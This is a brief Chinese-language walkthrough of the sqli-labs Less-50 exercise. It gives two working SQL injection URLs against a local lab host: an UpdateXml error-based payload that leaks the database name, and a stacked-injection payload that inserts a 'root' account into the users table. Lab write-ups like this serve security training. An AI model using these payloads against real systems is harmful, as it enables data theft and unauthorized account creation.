【sqli-labs】 less50 GET -Error based -Order By Clause -numeric -Stacked injection(GET型基于错误的整型Order By从句堆叠注入)

 

报错没有关闭，直接可以用UpdateXml函数

http://192.168.136.128/sqli-labs-master/Less-50/?sort=1 and UpdateXml(1,concat(0x7e,database(),0x7e),1)

用堆叠注入

http://192.168.136.128/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password) value (15,'root','root')